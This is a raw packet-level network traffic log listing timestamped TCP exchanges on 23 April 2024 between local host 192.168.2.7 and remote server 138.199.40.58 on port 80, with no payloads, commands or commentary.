Apr 23, 2024 08:39:59.102489948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102514982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102536917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102607012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102621078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102627993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102634907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102658987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102658987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102660894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102682114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102684975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102698088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102706909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102762938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102765083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102811098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102871895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102885962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102890015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102897882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102936983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102936983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.102972984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.102986097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103003979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103005886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103023052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103055954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103070974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103090048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103090048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103095055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103116989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103132963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103144884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103152037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103158951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103166103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103209019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103209019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103215933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103230000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103262901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103281975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103281975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103281975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103318930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103321075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103358030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103398085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103399992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103411913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103437901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.103457928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.103477001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.104435921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.104461908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.104485989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.104504108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.104526043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.104552984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.104573965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.104634047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106165886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106221914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106252909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106266022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106281996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106290102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106297016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106319904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106324911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106324911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106333971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106348038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106354952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106381893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106393099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106393099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106406927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106426001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106456041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106472015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106524944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.106581926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.106636047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108377934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108392954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108423948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108429909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108443975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108463049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108486891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108501911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108521938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108525038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108546972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108577967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108902931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108917952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108957052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108957052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.108983994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.108999014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109021902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109041929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109081030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109093904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109095097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109138966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109138966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109153986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109216928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109286070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109313011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109313965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109330893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109333038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109376907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109399080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109453917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109646082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109659910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109690905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109756947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109797001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109813929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109842062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109852076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109852076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109878063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109905005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109920025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109922886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.109960079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109978914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.109983921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110002995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110044003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110064030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110065937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110076904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110085011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110122919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110122919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110135078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110183001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110196114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110222101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110222101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110269070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110282898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110291004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110294104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110306978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110315084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110315084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110330105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110353947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110367060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110367060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110471964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110481977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110496044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110527039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110543013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110548973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110564947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110614061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110622883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110622883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110683918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110697985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110709906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110717058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110722065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110733986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110743046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110744953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110771894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110797882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110831976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110846043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110858917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.110866070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110944986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.110977888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111021042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111038923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111110926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111128092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111186028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111233950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111248016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111265898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111324072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111341000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111376047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111402035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111402035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111421108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111469030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111479044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111510038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111571074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111623049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111671925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111685991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111715078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.111727953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111727953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.111795902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112134933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112148046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112163067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112174988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112194061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112198114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112212896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112217903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112232924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112236023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112258911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112318993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112322092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112407923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112421036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112430096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112433910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112451077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112469912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112481117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112500906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112512112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112524033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112538099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112548113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112571955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112585068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112592936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112597942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112602949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112617970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112670898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112684011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112693071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112695932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112711906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112719059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112719059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112735987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112749100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112751961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112751961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112767935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112809896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112823009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112833023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112837076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112848997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112858057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112858057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112895012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112915039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112930059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112942934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112948895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.112953901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.112972975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113003016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113004923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113004923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113015890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113070011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113082886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113092899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113101959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113116980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113130093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113145113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113185883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113199949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113210917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113210917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113249063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113261938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113270998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113277912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113301039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113301992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113337040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113349915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113353014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113353014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113392115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113392115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113399029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113411903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113423109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113435984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113454103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113459110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113480091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113483906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113504887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113528013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113543987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113554955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113564968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113610983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113626003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113635063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113640070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113646984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113652945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113667011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113667011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113687038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113712072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113724947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113734007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113737106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113754988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113801003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113811970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113814116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113830090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113836050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113842964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.113884926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113884926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.113924026 CEST	80	49705	138.199.40.58	192.168.2.7
